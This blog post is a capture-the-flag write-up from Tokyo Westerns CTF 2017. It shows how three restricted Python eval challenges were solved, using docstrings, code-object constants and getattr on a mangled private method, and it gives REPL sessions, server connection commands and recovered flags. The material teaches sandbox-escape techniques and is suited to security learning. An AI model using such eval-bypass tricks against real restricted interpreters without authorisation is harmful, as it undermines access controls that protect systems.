26 September 2017



> pplc – tokyo westerns ctf 3rd 2017

Hi, I’m David and my work as a Security Research Engineer at Synack focused primarily on automating vulnerability analysis of iOS applications, fuzzing, and reverse engineering IoT devices. I’ve spoken at a variety of security conferences around the country to present original research and I also like to create and play security games in my free time…Enjoy!


Yet another PLC challenge as last year’s?

private: nc ppc1.chal.ctf.westerns.tokyo 10000

local: nc ppc1.chal.ctf.westerns.tokyo 10001

comment: nc ppc1.chal.ctf.westerns.tokyo 10002


These challenges exercised the ability to break out of 3 various restricted python eval calls, a nice primer on using built-in python functionality to bypass restrictions! I found that using ptpython was pretty useful since it has tab completion and you are able to surf your history much easier. If you are completely new to python exploitation I recommend going through the picoctf python eval challenges; I went through the ones from 2013 and was able to use what I learned there on this challenge (picoctf13 is not around anymore but you can check out writeups and follow along on your own). In particular one should know about the dir builtin function which returns an alphabetized list of names comprising (some of) the attributes of the given object, and of attributes reachable from it.



import sys
from restrict import Restrictr = Restrict()
# r.set_timeout()d = sys.stdin.read()
assert d is not None
d = d[:20]import comment_flag
r.seccomp()print eval(d)


Welcome to unreadable area!

Comment was super simple, checking the __doc__ attribute reveals the flag. Docstrings are a string literal that occurs as the first statement in a module, function, class, or method definition. Such a docstring becomes the __doc__ special attribute of that object, according to the PEP article on Docstrings.

>>> import comment_flag
>>> dir(comment_flag)
[‘__builtins__’, ‘__doc__’, ‘__file__’, ‘__name__’, ‘__package__’]
>>> comment_flag.__doc__
‘\nWelcome to unreadable area!\nFLAG is TWCTF{CENSORED}\n’

Pointing this at the server:

$ ncat ppc1.chal.ctf.westerns.tokyo 10002
Welcome to unreadable area!
FLAG is TWCTF{very simple docstring}



import sys
from restrict import Restrictr = Restrict()
# r.set_timeout()def get_flag(x):
return xd = sys.stdin.read()
assert d is not None
d = d[:30]r.seccomp()print eval(d)

Since the problem name implies the use of the locals() builtin python function I experimented based on this and through that I found the func_code object for get_flag and its constants attribute (co_consts, see this blog for a brief overview of code objects).

>>> def get_flag(x):
2     flag = “TWCTF{CENSORED}”
3     return x
>>> locals()[‘get_flag’]
<function get_flag at 0x7fb348434398>
>>> dir(locals()[‘get_flag’])
[‘__call__’, ‘__class__’, ‘__closure__’, ‘__code__’, ‘__defaults__’, ‘__delattr__’, ‘__dict__’, ‘__doc__’, ‘__format__’, ‘__get__’, ‘__getattribute__’, ‘__globals__’, ‘__hash__’, ‘__init__’, ‘__module__’, ‘__name__’, ‘__new__’, ‘__reduce__’, ‘__reduce_ex__’, ‘__repr__’, ‘__setattr__’, ‘__sizeof__’, ‘__str__’, ‘__subclasshook__’, ‘func_closure’, ‘func_code’, ‘func_defaults’, ‘func_dict’, ‘func_doc’, ‘func_globals’, ‘func_name’]
>>> locals()[‘get_flag’].func_code
<code object get_flag at 0x7fb34a7cf3b0, file “<stdin>”, line 1>
>>> dir(locals()[‘get_flag’].func_code)
[‘__class__’, ‘__cmp__’, ‘__delattr__’, ‘__doc__’, ‘__eq__’, ‘__format__’, ‘__ge__’, ‘__getattribute__’, ‘__gt__’, ‘__hash__’, ‘__init__’, ‘__le__’, ‘__lt__’, ‘__ne__’, ‘__new__’, ‘__reduce__’, ‘__reduce_ex__’, ‘__repr__’, ‘__setattr__’, ‘__sizeof__’, ‘__str__’, ‘__subclasshook__’, ‘co_argcount’, ‘co_cellvars’, ‘co_code’, ‘co_consts’, ‘co_filename’, ‘co_firstlineno’, ‘co_flags’, ‘co_freevars’, ‘co_lnotab’, ‘co_name’, ‘co_names’, ‘co_nlocals’, ‘co_stacksize’, ‘co_varnames’]
>>> locals()[‘get_flag’].func_code.co_consts

The only problem with solving this problem with locals() is I couldn’t seem to figure out how to keep my code under 30 characters! what I had amounted to 40 characters, so I kept trying things – could I reference get_flag directly without using locals()? In fact I could – using the same attributes, even:

>>> get_flag.func_code.co_consts

Pointing this at the server:

$ ncat ppc1.chal.ctf.westerns.tokyo 10001
(None, ‘TWCTF{func_code is useful for metaprogramming}’)



import sys
from restrict import Restrictr = Restrict()
# r.set_timeout()class Private:
def __init__(self):
passdef __flag(self):
return “TWCTF{CENSORED}”p = Private()
Private = Noned = sys.stdin.read()
assert d is not None
assert “Private” not in d, “Private found!”
d = d[:24]r.seccomp()print eval(d)

Private forces us not to use the string ‘Private’ in our code. the first thing i noticed was that using dir we could bypass writing ‘Private’:

>>> dir(p)[0]

Ssing this and string append I found a string that would bypass the ‘Private’ restriction but it was too long:

>>> “p.”.__add__(dir(p)[0]).__add__(“()”)
>>> eval(“p.”.__add__(dir(p)[0]).__add__(“()”))
>>> “p.”.__add__(dir(p)[0]).__add__(“()”)
>>> len(‘”p.”.__add__(dir(p)[0]).__add__(“()”)’)

Surfing around the attributes of Private I found __getattribute__ which is simply a method wrapper around the getattr builtin function. Getattr gets a named attribute from an object; getattr(x, ‘y’) is equivalent to x.y according to the documentation. With getattr we are able to do the same as I was trying to do before but with fewer characters!

>>> getattr(p, ‘_Private__flag’)
<bound method Private.__flag of <__main__.Private instance at 0x7f99b1b1b440>>
>>> getattr(p, ‘_Private__flag’)()
>>> getattr(p, dir(p)[0])
<bound method Private.__flag of <__main__.Private instance at 0x7f99b1b1b440>>
>>> getattr(p, dir(p)[0])()

Pointing at this server:

$ ncat ppc1.chal.ctf.westerns.tokyo 10000
getattr(p, dir(p)[0])()
TWCTF{__private is not private}

Apply to join the Synack Red Team. Become one of the few and fully experience our platform – it’s designed by hackers for hackers. If you’re up for the challenge, apply today, and use code “SRTBLOGS” in your application.